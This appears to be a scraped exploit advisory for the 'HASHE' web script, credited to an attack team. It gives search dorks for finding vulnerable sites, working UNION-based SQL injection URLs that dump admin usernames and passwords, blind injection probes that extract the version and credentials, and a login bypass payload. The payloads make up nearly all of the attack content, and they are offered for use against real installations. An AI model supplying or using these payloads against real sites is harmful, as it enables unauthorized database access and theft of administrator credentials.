扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
HASHE! Multiple Sql Injection Vulnerability ============================================================== #################################################################### .:. Author : AtT4CKxT3rR0r1ST[F.Hack@w.cn] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : HASHE .:. Bug Type : Sql Injection[Mysql] .:. Dork : [1] "Powered By HASHE" [2] "Powered By HASHE!" [3] "Powered By Hashe Computer Solutions" #################################################################### Sql Injection [MYSQL] ===[ Exploit ]=== www.site.com/home.php?id=37[Sql Injection] www.site.com/home.php?id=37/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,group_concat(username,0x3a,password),7/**/from/**/admin www.site.com/bar_detail.php?id=null[Sql Injection] www.site.com/bar_detail.php?id=null'/**/and/**/1=2/**/UNION/**/SELECT/**/1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/from/**/admin-- - Sql Injection [Blind] ===[ Exploit ]=== www.site.com/propertydetails.php?Id=null[BLIND] www.site.com/propertydetails.php?Id=null+and+1=1 >>>True www.site.com/propertydetails.php?Id=null+and+1=2 >>>False www.site.com/propertydetails.php?Id=null+and+substring(@@version,1,1)=4 >>> True www.site.com/propertydetails.php?Id=null+and+substring(@@version,1,1)=5 >>> False www.site.com/propertydetails.php?Id=null+and+(select substring(concat(1,concat(name,0x3a,password)),1,1) from admin limit 0,1)=1 Sql Injection [Auth Bypass] ===[ Exploit ]=== www.site.com/admin/ Bug Type: Bar Manager Username: 'or'1=1 Passowrd: 'or'1=1 http://server/admin/ Script Site: http://server/home.php?id=37/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,group_concat%28username,0x3a,password%29,7/**/from/**/admin #################################################################### |
体验盒子
